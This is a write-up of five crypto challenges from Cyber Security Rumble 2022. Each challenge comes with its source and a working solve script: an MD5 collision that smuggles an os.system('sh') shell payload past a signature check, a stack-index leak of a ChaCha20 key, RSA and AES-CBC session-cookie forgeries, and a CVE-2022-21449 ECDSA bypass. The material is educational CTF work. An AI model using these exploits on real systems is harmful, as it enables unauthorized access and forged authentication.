Cyber Security Rumble 2022 Writeup
Tue Oct 11 2022
I participated Cyber Security Rumble 2022 as a member of ./Vespiary. The results were 8th/264. This is the first time I've played CTF with a Japanese team. It was very fun time to discuss in Japanese.
Here are my write-ups for all crypto-related challs.
[cry, expl] FINANCE CALCULAT0R 2022
3 solves
main.pyimport ast import hashlib import base64 from ecdsa import BadSignatureError, SigningKey SIGNING_KEY = SigningKey.generate(hashfunc=hashlib.md5) WHITELIST_NODES = [ ast.Module, ast.Expr, ast.BinOp, ast.Constant, ast.Num, ast.Add, ast.Sub, ast.Mult, ast.Div ] EXAMPLE_PROG = "31337 * 70 + 5" def check_code_security(code): # Decode for parser s = code.decode(errors="ignore") tree = ast.parse(s, mode='exec') for node in ast.walk(tree): if type(node) not in WHITELIST_NODES: raise ValueError("Forbidden code used in type '{}'. NOT allowed!".format(type(node))) def run_code(code): # Decode for parser code = code.decode(errors="ignore") locals = {} exec(f"result = {code}", {}, locals) return locals["result"] def sign(data): return SIGNING_KEY.sign(data) def verify_signature(signature, data): try: SIGNING_KEY.verifying_key.verify(signature, data) return True except BadSignatureError: return False def read_prog(): print("~" * 52) print("To avoid line breaks submit your programs in base64.") prog_b64 = input("Program> ") prog = base64.b64decode(prog_b64) return prog def read_signed_prog(): print("~" * 52) print("To avoid line breaks submit your programs in base64.") prog_inp = input("Signed Program> ") signature, prog_b64 = prog_inp.split(":", 1) prog = base64.b64decode(prog_b64) signature = bytes.fromhex(signature) return signature, prog def verify_and_sign(): code = read_prog() # If program is unknown, check for safety try: check_code_security(code) except ValueError as ex: print("The program uses invalid code! Nice try hacker!") raise print("Your signed program:") print(sign(code).hex() + ":" + base64.b64encode(code).decode()) def run_signed_program(): signature, code = read_signed_prog() if not verify_signature(signature, code): print("Invalid signature! This incident will be reported!") raise ValueError() print("*" * 20) print("Your Output:") print(run_code(code)) print("*" * 20, end="\n\n") def menu(): print("~" * 52) print("What would you like to do?") print(" 1. Verify and Sign Program") print(" 2. Run Signed Program") print("~" * 52) choice = input("Choice >") try: choice = int(choice) if choice == 1: verify_and_sign() elif choice == 2: run_signed_program() else: raise ValueError() except (KeyError, ValueError) as ex: print("Invalid Input:", ex) def main(): print("~" * 52) print("Welcome to finance calculat0r 2021") print("The number 1 app for heavy number processing!") print("Example batch program:") print(EXAMPLE_PROG) print("~" * 52) for _ in range(10): menu() print("You've already run 10 programs! For more please buy our enterprise edition!") main()
We can send any payload consisting of WHITELIST_NODES and get sign. Signed payload will be used by exec.
First I tried to find wrong usage of ECDSA, but nothing was found... But then I felt weired that hashfunc is explicitly stated as md5 (default: sha1). Since this chall contains expl tag (I don't know what this tag exactly means, exploit?), I then tried to find md5 collisions like the following:
md5("can be signed, but nothing interesting happens") == md5("cannot be signed, but something interesting happens")
because ECDSA takes into account only md5(msg), not msg.
But how does this type of collision happen...? @Xornet_Euphoria suggests:
md5("<number># <anything without \x00, \n, \r><suffix><mallicious payload>") == md5("<number># <anything' without \x00, \n, \r><\n or \r><suffix><mallicious payload>")
where <suffix>.decode(errors="ignore") is equivalent to a valid variable name, <mallicious payload> is like =__import__('os').system('sh') and the length of payload before <mallicious payload> is a multiple of md5 block length. The former can be signed because anything after # will be commented out and this is evaluated as a mere number, while the latter cannot be signed but is evaluated as <number>\n<variable name>=__import__('os').system('sh').
These pair of payloads can be found by clone-fastcoll. It took a few hours to find payloads satisfying the condition (without <mallicious payload>) above.
data1 = b'12345678901234567890123456789012345678901234567890123456789012 #\xfcHY\x0e:\x8f\xae\xb1\x08\xfcp\xb9\x03\xf6%\xe7\xa6*\xcf\xcdkc\xf1\xbd/\xb68\xba\x8d\xb79\x06\xce\xc3\xee\xca\xcc\x0b\x1b\xc8\x8f\x04\xcc\xf4\xc1\xe3\x9c|\x05^-\xd3\xb9\x06^\xdc\xcfH\xb3\x89/\xb8\xc8\xad\xd2>w\x02\xd1 ^\xfd\x83\x1bU\xc8\xaf\xaa\xd1\'\xb4\xe9\xf1\xda\x0f{`\x1a\xd5\x97\xf7\xc8\xd4(}\xa2\xb3N\x1f\xdb,\xb4^ek\xb0\xb0\xaf\xce\x19k\xe8\xdb\xff\x88\xdfl4\xaf\xe1\xa5"\xa8\x8d\xcdd\xe9\x88' data2 = b'12345678901234567890123456789012345678901234567890123456789012 #\xfcHY\x0e:\x8f\xae\xb1\x08\xfcp\xb9\x03\xf6%\xe7\xa6*\xcfMkc\xf1\xbd/\xb68\xba\x8d\xb79\x06\xce\xc3\xee\xca\xcc\x0b\x1b\xc8\x8f\x04\xcc\xf4\xc1c\x9d|\x05^-\xd3\xb9\x06^\xdc\xcfH\xb3\t/\xb8\xc8\xad\xd2>w\x02\xd1 ^\xfd\x83\x1bU\xc8\xaf\xaa\xd1\'\xb4\xe9\xf1Z\x0f{`\x1a\xd5\x97\xf7\xc8\xd4(}\xa2\xb3N\x1f\xdb,\xb4^ek\xb0\xb0\xaf\xce\x99j\xe8\xdb\xff\x88\xdfl4\xaf\xe1\xa5"\xa8\r\xcdd\xe9\x88'
Using this pair, I could run sh and find a flag.
solve.pyimport base64 import hashlib from binascii import unhexlify from Crypto.Util.number import bytes_to_long, long_to_bytes from pwn import remote io = remote("chall.rumble.host", 42323) def sign(cmd: bytes): io.sendlineafter(b"Choice >", b"1") io.sendlineafter(b"Program> ", base64.b64encode(cmd)) _ = io.recvline() sign_cmd = io.recvline().strip().decode() r_s = unhexlify(sign_cmd.split(":")[0]) r, s = r_s[:24], r_s[24:] return bytes_to_long(r), bytes_to_long(s) def exec(cmd: bytes, r: int, s: int): r_s = long_to_bytes(r, 24) + long_to_bytes(s, 24) payload = r_s.hex() + ":" + base64.b64encode(cmd).decode() io.sendlineafter(b"Choice >", b"2") io.sendlineafter(b"Signed Program> ", payload.encode()) io.interactive() data1 = b'12345678901234567890123456789012345678901234567890123456789012 #\xfcHY\x0e:\x8f\xae\xb1\x08\xfcp\xb9\x03\xf6%\xe7\xa6*\xcf\xcdkc\xf1\xbd/\xb68\xba\x8d\xb79\x06\xce\xc3\xee\xca\xcc\x0b\x1b\xc8\x8f\x04\xcc\xf4\xc1\xe3\x9c|\x05^-\xd3\xb9\x06^\xdc\xcfH\xb3\x89/\xb8\xc8\xad\xd2>w\x02\xd1 ^\xfd\x83\x1bU\xc8\xaf\xaa\xd1\'\xb4\xe9\xf1\xda\x0f{`\x1a\xd5\x97\xf7\xc8\xd4(}\xa2\xb3N\x1f\xdb,\xb4^ek\xb0\xb0\xaf\xce\x19k\xe8\xdb\xff\x88\xdfl4\xaf\xe1\xa5"\xa8\x8d\xcdd\xe9\x88' data2 = b'12345678901234567890123456789012345678901234567890123456789012 #\xfcHY\x0e:\x8f\xae\xb1\x08\xfcp\xb9\x03\xf6%\xe7\xa6*\xcfMkc\xf1\xbd/\xb68\xba\x8d\xb79\x06\xce\xc3\xee\xca\xcc\x0b\x1b\xc8\x8f\x04\xcc\xf4\xc1c\x9d|\x05^-\xd3\xb9\x06^\xdc\xcfH\xb3\t/\xb8\xc8\xad\xd2>w\x02\xd1 ^\xfd\x83\x1bU\xc8\xaf\xaa\xd1\'\xb4\xe9\xf1Z\x0f{`\x1a\xd5\x97\xf7\xc8\xd4(}\xa2\xb3N\x1f\xdb,\xb4^ek\xb0\xb0\xaf\xce\x99j\xe8\xdb\xff\x88\xdfl4\xaf\xe1\xa5"\xa8\r\xcdd\xe9\x88' assert len(data1) % 16 == 0 and len(data2) % 16 == 0 suffix = b"=__import__('os').system('sh')" data1 += suffix data2 += suffix assert hashlib.md5(data1).digest() == hashlib.md5(data2).digest() r, s = sign(data1) exec(data2, r, s)
CSR{OhManSandiNeinNeinDasMachtManNichtAberWirklich}
[cry, misc, pwn] ENCRYPTNSTUFF
14 solves
main.c// // Created by rg on 9/22/22. // #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/random.h> #define PLAINTEXT_LEN 32 #define CIPHERTEXT_STORE_LEN 10 int stream_ref_xor_ic(unsigned char *c, const unsigned char *m, unsigned long long mlen, const unsigned char *n, uint64_t ic, const unsigned char *k); void print_hex(const uint8_t *x, size_t xlen) { size_t i; for (i = 0; i < xlen; i++) { printf("%02x", x[i]); } printf("\n"); } void read_hex(char *dst, int num_bytes) { for (size_t count = 0; count < num_bytes; count++) { scanf("%2hhx", &dst[count]); } } void memzero(char *dst, size_t len) { explicit_bzero(dst, len); } #define KEYLEN 32 #define NONCE_LEN 8 #define KEYMAT_LEN 4096 void encrypt_stuff(char ct[PLAINTEXT_LEN], char pt[PLAINTEXT_LEN], int print_key) { unsigned char keymat[KEYMAT_LEN] = {0}; unsigned char key[KEYLEN] = {0}; unsigned char nonce[NONCE_LEN] = {0}; getrandom(keymat, KEYMAT_LEN, GRND_RANDOM); memcpy(key, keymat + (rand() % (KEYMAT_LEN - KEYLEN)), KEYLEN); memcpy(nonce, keymat + (rand() % (KEYMAT_LEN - NONCE_LEN)), NONCE_LEN); int res = stream_ref_xor_ic(ct, pt, PLAINTEXT_LEN, nonce, 0, key); if (print_key) { printf("Key: "); print_hex(key, KEYLEN); printf("Nonce: "); print_hex(nonce, NONCE_LEN); printf("Ciphertext: "); print_hex(ct, PLAINTEXT_LEN); } // explicitly overwrite plaintext, key and nonce getrandom(key, KEYLEN, GRND_RANDOM); getrandom(nonce, NONCE_LEN, GRND_RANDOM); getrandom(keymat, KEYMAT_LEN, GRND_RANDOM); getrandom(pt, PLAINTEXT_LEN, GRND_RANDOM); } int read_flag(char *flag) { FILE* f = fopen("flag.txt", "r"); if (NULL == f) { printf("flag not found!\n"); return -1; } if(fgets(flag, PLAINTEXT_LEN, f) == NULL){ printf("Flag could not be read."); return -2; } fclose(f); } int main(void) { char pt[PLAINTEXT_LEN] = {0}; unsigned char ciphertext[PLAINTEXT_LEN]; int ciphertext_store_pos = 0, choice = 1; char ciphertext_store[CIPHERTEXT_STORE_LEN][PLAINTEXT_LEN]; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (read_flag(pt) < 0) { return EXIT_FAILURE; } encrypt_stuff(ciphertext_store[0], pt, 0); while (ciphertext_store_pos < CIPHERTEXT_STORE_LEN) { puts("What would you like to do?"); puts("1: Print a ciphertext."); puts("2: Encrypt a plaintext."); scanf("%d", &choice); if (choice == 1) { puts("Which ciphertext would you like to read [0-9]?"); scanf("%d", &choice); printf("Ciphertext: "); print_hex(ciphertext_store[choice], PLAINTEXT_LEN); } else if (choice == 2) { puts("Plaintext(32 bytes) pls: "); read(STDIN_FILENO, pt, PLAINTEXT_LEN); printf("Ciphertext will be stored at index %d\n", ++ciphertext_store_pos); encrypt_stuff(ciphertext_store[ciphertext_store_pos], pt, 1); } else { puts("Learn to type you 'tard."); } } printf("Plaintext(hex) pls: "); read_hex(pt, PLAINTEXT_LEN); encrypt_stuff(ciphertext, pt, 1); printf("Ciphertext: "); print_hex(ciphertext, PLAINTEXT_LEN); }
flag and any messages can be encrypted by ChaCha20. A used key and nonce are shown except when flag is encrypted.
There exists vulnerability in the following:
puts("Which ciphertext would you like to read [0-9]?"); scanf("%d", &choice); printf("Ciphertext: "); print_hex(ciphertext_store[choice], PLAINTEXT_LEN);
Since choice can be negative, we can see the stack values above ciphertext_store.
This can be used to see key and nonce in encrypt_stuff... wait, key and nonce are filled with random bytes generated getrandom (generated via /dev/random).
But if key and nonce are copied and used in stream_ref_xor_ic, these values still can be seen. I checked it using gdb and found them in ciphertext_store[-143] (key) and ciphertext_store[-142] (nonce).
solve.pyfrom binascii import unhexlify from Crypto.Cipher import ChaCha20 """ ❯ nc chall.rumble.host 55432 What would you like to do? 1: Print a ciphertext. 2: Encrypt a plaintext. 1 Which ciphertext would you like to read [0-9]? -143 Ciphertext: b0a7db1109b23f401b6beb019fd326d7978326f91aec4823d314110c4f762b3b What would you like to do? 1: Print a ciphertext. 2: Encrypt a plaintext. 1 Which ciphertext would you like to read [0-9]? -142 Ciphertext: 910886cee6ba1a20103c238afe7f0000a04d238afe7f0000abc6009600000000 What would you like to do? 1: Print a ciphertext. 2: Encrypt a plaintext. 1 Which ciphertext would you like to read [0-9]? 0 Ciphertext: abc60096bd2d297ede8d5949c9a88e77333302e107675150a572a222f24582df What would you like to do? 1: Print a ciphertext. 2: Encrypt a plaintext. """ key = unhexlify("b0a7db1109b23f401b6beb019fd326d7978326f91aec4823d314110c4f762b3b") nonce = unhexlify("910886cee6ba1a20") cipher = ChaCha20.new(key=key, nonce=nonce) ct = unhexlify("abc60096bd2d297ede8d5949c9a88e77333302e107675150a572a222f24582df") print(cipher.decrypt(ct))
The output was b'CSR{InsaneInFRAUXIPAUXIBBINGOOO\x00'... I modified it to CSR{InsaneInFRAUXIPAUXIBBINGOOO} then submitted (I didn't know why it happened).
CSR{InsaneInFRAUXIPAUXIBBINGOOO}
[cry] CMS
17 solves
main.pyfrom flask import Flask, request, render_template, redirect, abort, url_for, send_from_directory, make_response from flask_sqlalchemy import SQLAlchemy from werkzeug.security import generate_password_hash, check_password_hash from werkzeug.wrappers import Request from functools import wraps import re import os import time import traceback import threading import pickle import random from secret import key_e, key_d, key_n, flag admin_name = 'willi_pyjCsgC' app = Flask(__name__) app.secret_key = os.urandom(32) app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['DB_URI'] app.config['SQLALCHEMY_POOL_RECYCLE'] = 500 db = SQLAlchemy(app) ### Models ### class User(db.Model): name = db.Column(db.String(100), primary_key=True) password = db.Column(db.String(200), nullable=False) entries = db.relationship("Entry", back_populates="user") def __init__(self, name, password): self.name = name self.password = password class Entry(db.Model): id = db.Column(db.BigInteger, primary_key=True) content = db.Column(db.Text, nullable=False) hidden = db.Column(db.Boolean, nullable=False) user_name = db.Column(db.String(100), db.ForeignKey('user.name'), nullable=False) user = db.relationship("User", back_populates="entries") def __init__(self, content, hidden, user_name): self.content = content self.hidden = hidden self.user_name = user_name ### Setup Database ### db.create_all() if not User.query.filter_by(name=admin_name).first(): willi = User(admin_name, 'notavalidpasswordhash') db.session.add(willi) db.session.commit() e = Entry(flag, True, admin_name) if not Entry.query.filter_by(content=e.content).first(): db.session.add(e) db.session.commit() e = Entry(""" Hello, today i want to tell you something about crypto. It's really simple. Especially RSA. The key consists of 2 public (e, n) and 1 private component (d). To sign a message you just have to calculate s = m^d mod n. To verify it you have to check that m == s^e mod n. Thats all. Really simple, right? I even build my own RSA library which is used in this CMS app. I use RSA signatures for my session cookies. Go ahead and try to verify your session cookie. My public parameters are: n = {} e = {} """.format(key_n, key_e) , False, admin_name) if not Entry.query.filter_by(content=e.content).first(): db.session.add(e) db.session.commit() ### Helper functions ### def get_username(): assert len(request.cookies['username'].split('||')) == 2 return request.cookies['username'].split('||')[0] def rsa_sign(m, n, d): return pow(int.from_bytes(bytearray(m, 'utf-8'), byteorder='big'), d, n) def rsa_verify(m, s, n, e): return int.from_bytes(bytearray(m, 'utf-8'), byteorder='big') == pow(int(s), e, n) def invalidate_cookie(): resp = make_response(render_template('cookie.html'), 403) resp.set_cookie('username', '', expires=0) return resp ### Endpoints ### def is_logged_in(f): @wraps(f) def wrap(*args, **kwargs): if 'username' in request.cookies: return f(*args, **kwargs) else: return redirect('/login'), 403 return wrap @app.before_request def security(): if 'curl' in request.headers['User-Agent']: return render_template('curl.html'), 403 @app.before_request def check_cookie(): try: if request.endpoint == 'images': return if 'username' in request.cookies: m, s = request.cookies['username'].split('||') if rsa_verify(m, s, key_n, key_e): return else: return except: traceback.print_exc() # Failsafe defaults return invalidate_cookie() @app.route('/') def index(): entries = Entry.query.filter_by(user_name=admin_name).filter(Entry.hidden == False).all() entries.extend(Entry.query.filter(Entry.user_name != admin_name).filter(Entry.hidden == False).order_by(Entry.id.desc()).limit(20)) return render_template('index.html', login=url_for('login'), register=url_for('register'), home=url_for('home'), entries=entries) @app.route('/images/<string:name>') def images(name): return send_from_directory('images', name) @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET': return render_template('login.html') name = request.form.get('name', '') if not re.match("^[a-zA-Z0-9_]{1,200}$", name): return "The username should match this regular expression '^[a-zA-Z0-9_]{1,200}$'", 500 user = User.query.filter_by(name=name).first() if not user: return "Invalid username", 404 if not check_password_hash(user.password, request.form.get('passwd', '')): return "Invalid password", 403 resp = make_response(redirect('home')) resp.set_cookie('username', f'{user.name}||{rsa_sign(user.name, key_n, key_d)}', httponly=True, samesite='Strict') return resp @app.route('/logout') @is_logged_in def logout(): resp = make_response(redirect('/')) resp.set_cookie('username', '', expires=0) return resp @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'GET': return render_template('register.html') name = request.form.get('name', '') passwd = request.form.get('passwd', '') if not (name and passwd): return "You have to specify username *and* password" if not re.match("^[a-zA-Z0-9_]{1,200}$", name): return "The username should match this regular expression '^[a-zA-Z0-9_]{1,200}$'" user = User.query.filter_by(name=name).first() try: if user and user.name != admin_name: user.password = generate_password_hash(passwd) else: user = User(name, generate_password_hash(passwd)) db.session.add(user) db.session.commit() except: return "Username already taken" return redirect('login') @app.route('/home') @is_logged_in def home(): return render_template('home.html', entries=Entry.query.filter_by(user_name=get_username()).all()) @app.route('/add', methods=['GET', 'POST']) @is_logged_in def add_entry(): if request.method == 'GET': return render_template('add.html') username = get_username() content = request.form['content'] hidden = 'hidden' in request.form if not User.query.filter_by(name=username).first(): return "you are not registered" try: entry = Entry(content, hidden, username) db.session.add(entry) db.session.commit() except: traceback.print_exc() return "something went wrong" return redirect('/home') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=6000, threaded=True)
The username is signed by RSA. Let c = bytes_to_long(b"willi_pyjCsgC"). The goal is to find .
Since RSA is homomorphic (), if are found, then is also found, though remark that signed username has a constraint, ^[a-zA-Z0-9_]{1,200}$.
I chose . can be found by registering a user b"willi_pyjCsgC" * 2. However, cannot be found directly, since this is invalid username. But using signs of a username b"A" * 13 and b"A" * 26, we can find indirectly.
Using the sign , I could see a flag.
solve.pyfrom Crypto.Util.number import bytes_to_long n = 4771330883112971237939706619213599402384877940456764225888204081198779601060497681979086070114999578721419080091233367976703234544232329362591884723419024769387428773213232454098113969833287400128930396547734023781138327606819544994019879501250170998873931466416456155309743489924182569128092569329573556390884191709384091268950856005448743640839481995786235223922245026050084434032791841251275463860001265220793115744012848355102061564585012581329613537678104534071860503699821793208055435007631828644238050409789360653789413150416607515525846988146633619987077989197026930263765381707598170276275237433927420037819260032776384266766200077462410545748426945408024379859188854788073423291665396437193314169755391212230890805412235682861913844245080791592720391474573182337429659029124457866724708139451173078209732505713730392054544531845760994213178580609881571472618053214778712225445157141145547548499 e = 0x10001 c = bytes_to_long(b"willi_pyjCsgC") # AAAAAAAAAAAAA||2551915105131639649760854943184661015500059945005963927536777915233135229421528327349217159624336186729922514885324926797630657103421096512613237864285970857665983918934491224283024754850445053557833398332193277152667482439129248350936180230576233212725068696709113962952989754766936047165050301538344419692421964491328972730652282948606608188665572687553412094232067939370533280882082144391228688017824630584610460367224453171144647299593060429766228819895938880374481196699003749473471250663835872157239515719360688678977179243710713157901712629108679249175192505113437449950956921377843731950195201202905153238826183082255286218836075973359191168881228006920889686538490751714001275783050595541666194127055329009455970515308103112481884673211907442115286251804510010179512975696770682508957200658139820020469806718175098493882550455496217518117740675394693923095486742162487979198510898685842515047320 a_d = 2551915105131639649760854943184661015500059945005963927536777915233135229421528327349217159624336186729922514885324926797630657103421096512613237864285970857665983918934491224283024754850445053557833398332193277152667482439129248350936180230576233212725068696709113962952989754766936047165050301538344419692421964491328972730652282948606608188665572687553412094232067939370533280882082144391228688017824630584610460367224453171144647299593060429766228819895938880374481196699003749473471250663835872157239515719360688678977179243710713157901712629108679249175192505113437449950956921377843731950195201202905153238826183082255286218836075973359191168881228006920889686538490751714001275783050595541666194127055329009455970515308103112481884673211907442115286251804510010179512975696770682508957200658139820020469806718175098493882550455496217518117740675394693923095486742162487979198510898685842515047320 # AAAAAAAAAAAAAAAAAAAAAAAAAA||2063988744638577153310235858104059037021860128632488891128267214851535124932575370746386996515691875344887502659309477950703134047520924309985715756143402121983774113504825177257078645718900930005178552116307215618314027750208738137380067806932941498945940050365062228942163003181815653386240790816831667657090202036031694363398525515915404201320867434524580788432148132697663461097631561548317644611612486761838270465461776672056645361104855117040363618024761206444807706612429490935548688064395939268203790005529960913280219783112480021378699082052854269918622092938465912775572701044725717287267409797836947472141866332488565811211293712275216752434627292731705359917293417281652348605802036663137735895766201641174352334605098801326177400303482671487681306698894420276135990146469115779822865820938537974234259574607386812553537931705757638593357968399296174992187586888358640549705649343862817004267 a2_d = 2063988744638577153310235858104059037021860128632488891128267214851535124932575370746386996515691875344887502659309477950703134047520924309985715756143402121983774113504825177257078645718900930005178552116307215618314027750208738137380067806932941498945940050365062228942163003181815653386240790816831667657090202036031694363398525515915404201320867434524580788432148132697663461097631561548317644611612486761838270465461776672056645361104855117040363618024761206444807706612429490935548688064395939268203790005529960913280219783112480021378699082052854269918622092938465912775572701044725717287267409797836947472141866332488565811211293712275216752434627292731705359917293417281652348605802036663137735895766201641174352334605098801326177400303482671487681306698894420276135990146469115779822865820938537974234259574607386812553537931705757638593357968399296174992187586888358640549705649343862817004267 x_d = a2_d * pow(a_d, -1, n) % n # willi_pyjCsgCwilli_pyjCsgC||2619158213512819919811090050621961382642581271302404613800477588692803481384112871670384909757045944610328032412964434824081271790971581238739785719425383248381493485870975664082088719653321376117560043247766271818373266388494390512254988407679383094566423585462157429170255058126229378206948867722161235529327840643483918231336897783701825064566203319786167381509252927838760601246017829146249184060168842155075833463376195512294209494580810211719747862857039362569154300413987068299876611421599375771392724695389268757059587261541847199641421384648312048318602430080892862176949040225573737280580090282118653147244909974216325805890935132129722163844630303243432863522824315250477397305556356407108564466635748856312714296603380942472357615565131758353152152417490722209922911975048559698116976766593490159696849742117748330465968126045046645059278631874409975330257925444149259947360890031023033870917 c2 = 2619158213512819919811090050621961382642581271302404613800477588692803481384112871670384909757045944610328032412964434824081271790971581238739785719425383248381493485870975664082088719653321376117560043247766271818373266388494390512254988407679383094566423585462157429170255058126229378206948867722161235529327840643483918231336897783701825064566203319786167381509252927838760601246017829146249184060168842155075833463376195512294209494580810211719747862857039362569154300413987068299876611421599375771392724695389268757059587261541847199641421384648312048318602430080892862176949040225573737280580090282118653147244909974216325805890935132129722163844630303243432863522824315250477397305556356407108564466635748856312714296603380942472357615565131758353152152417490722209922911975048559698116976766593490159696849742117748330465968126045046645059278631874409975330257925444149259947360890031023033870917 print(c2 * pow(x_d, -1, n) % n) # willi_pyjCsgC||1481746030447189447393273934642193512562998908731765730891753067534541454244212480659282459057883549812840892730647101296133227764018036068060016299575114566687819675272090700684430903699595693840037106901634931772185744912063043680984888775010239193523669334436653016327404169936650055214690837298138698176188666836310466023467789314253520520067696142795201419978648825050555278357973948807681418719199534450086998799095519234617252831060628008034950065434426615740516047869086495349671424045415859002287761670107454601946060437353059384503635624001832037220289368892474508894647043503270012558523502659031737411183707488169146908754651637374404616533082019153037229142395207019319412124490641899590325090800385162281767288388400234921212394399802907605781470735793521710138582685165006827356285319623513881519846767754402085214882461680744670157444594628024781990325638883104777528411497931399557947700
CSR{help....heeellllppppp...im blind}
[cry, expl] KRÜPTO
45 solves
Server.javaimport java.security.*; import java.util.Base64; import java.util.Arrays; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.nio.file.*; class Server { // Message that needs to be signed static String MSG = "I am allowed to get a flag!"; public static void main(String[] args) throws Throwable { System.out.println("Welc0me to the CSR22 Bug B0untay."); System.out.println("We present an extra hardend signature implementation here."); System.out.println("If you manage to forge a signature, you'll be rerwarded with a flag!"); KeyPair keys = KeyPairGenerator.getInstance("EC").generateKeyPair(); Signature sig = Signature.getInstance("SHA256WithECDSAInP1363Format"); System.out.printf("My Public Key is:\n %s\n", keys.getPublic()); sig.initVerify(keys.getPublic()); sig.update(MSG.getBytes()); System.out.println("Enter signature in Base64:"); String signatureEncoded = new BufferedReader(new InputStreamReader(System.in)).readLine(); byte[] decodedBytes = Base64.getDecoder().decode(signatureEncoded); if (decodedBytes.length != 64 || Arrays.equals(decodedBytes, new byte[64])) { System.out.println("REPELLED ATTACK OF RECENTLY FOUND VULNERABILITY!"); System.exit(0); } if (sig.verify(decodedBytes)) { // this will never happen System.out.println("Congrats!"); Path filePath = Path.of("/opt/flag.txt"); String flag = Files.readString(filePath); System.out.println(flag); } else { System.out.println("Signature invalid!"); } } }
It seems that we need to sign without the private key... so I thought that there exists a CVE. I googled by "java SHA256WithECDSAInP1363Format cve" and then found CVE-2022-21449 (Japanese).
It said that the verification can be passed when or . In this chall, the server returns System.out.println("REPELLED ATTACK OF RECENTLY FOUND VULNERABILITY!") when . Then I sent and got a flag.
CSR{FlauschigerKaefer}
[cry, web] FLAGPEDIA
66 solves
app.pyimport os from urllib.parse import parse_qs, urlencode from flask import Flask, render_template, send_from_directory, make_response, request, flash, redirect, url_for from werkzeug.security import safe_join from Crypto.Cipher import AES from Crypto.Hash import HMAC from Crypto.Util.Padding import pad, unpad app = Flask(__name__) app.secret_key = os.environ["SEC_KEY"] INFO_DIR_NAME = "infos" PREMIUM_INFO_DIR_NAME = "premium-infos" INSTANCE_KEY = os.environ["SEC_KEY"].encode() def serialize_user(user): data = urlencode(user).encode() aes = AES.new(INSTANCE_KEY, AES.MODE_CBC) ct = aes.encrypt(pad(data, 16)) # guarantee ciphertext integrity mac = HMAC.new(INSTANCE_KEY, ct).digest() return (aes.iv + ct + mac).hex() def deserialize_user(ciphertext): ciphertext = bytes.fromhex(ciphertext) iv, ct, mac = ciphertext[:16], ciphertext[16:-16], ciphertext[-16:] # Check ciphertext integrity if not HMAC.new(INSTANCE_KEY, ct).digest() == mac: raise ValueError("Ciphertext was manipulated.") aes = AES.new(INSTANCE_KEY, AES.MODE_CBC, iv=iv) plaintext = unpad(aes.decrypt(ct), 16) user_obj_raw = parse_qs(plaintext.decode()) user_obj = {k: v[0] for k, v in user_obj_raw.items()} return user_obj @app.route('/') def index(): countries = os.listdir(INFO_DIR_NAME) countries.sort() premium_flags = os.listdir(PREMIUM_INFO_DIR_NAME) premium_flags.sort() resp = make_response( render_template("home.html", countries=countries, premium_flags=premium_flags) ) # TODO: implement login for premium members once somebody finally buys premium resp.set_cookie("user", serialize_user({"user": "stduser", "role": "pleb"})) return resp @app.route('/premium') def premium(): return render_template("premium.html") @app.route('/info/<country>') def flag_info(country): info_file = safe_join(INFO_DIR_NAME, country) if not info_file: return "Bad request", 400 if not os.path.exists(info_file): flash("Country does not exist") return redirect(url_for("index")) info = open(info_file).read() return render_template("info.html", country=country, info=info) @app.route('/premium-info/<country>') def premium_info(country): user_cookie = request.cookies.get('user') if not user_cookie: flash("Cookie not found!") return redirect(url_for("index")) try: user = deserialize_user(user_cookie) except ValueError as ex: flash("Inavlid Cookie: " + str(ex)) return redirect(url_for("index")) if user["role"] != "premium": flash("You haven't payed for premium!") return redirect(url_for("index")) info_file = safe_join(PREMIUM_INFO_DIR_NAME, country) info = open(info_file).read() return render_template("info.html", country=country, info=info) if __name__ == '__main__': app.run()
The authentication is done by AES-CBC.
In deserialize_user, if there are the same key field, first one is used. Therefore, if we can modify user=stduser&role=pleb to role=premium&role=pleb, we can login as a premium user. This can be done by modifying iv like:
new_iv = xor(b"user=stduser&rol", b"role=premium&rol", iv)
Note that user is not used in this app.
solve.pyfrom binascii import unhexlify from pwn import xor cookie = unhexlify("21f8ad560643ccd13f4f093f1d3b868002e0689b7774758b5b3c4c3dae9fcdbc357f787767da1084c82d05cae66725983c09c2b6f509def46a597bd67e6be553") iv, ct, mac = cookie[:16], cookie[16: -16], cookie[-16:] new_iv = xor(b"user=stduser&rol", b"role=premium&rol", iv) print((new_iv + ct + mac).hex())
CSR{ACROSSDRESSINGPIKENAMEDTRISH}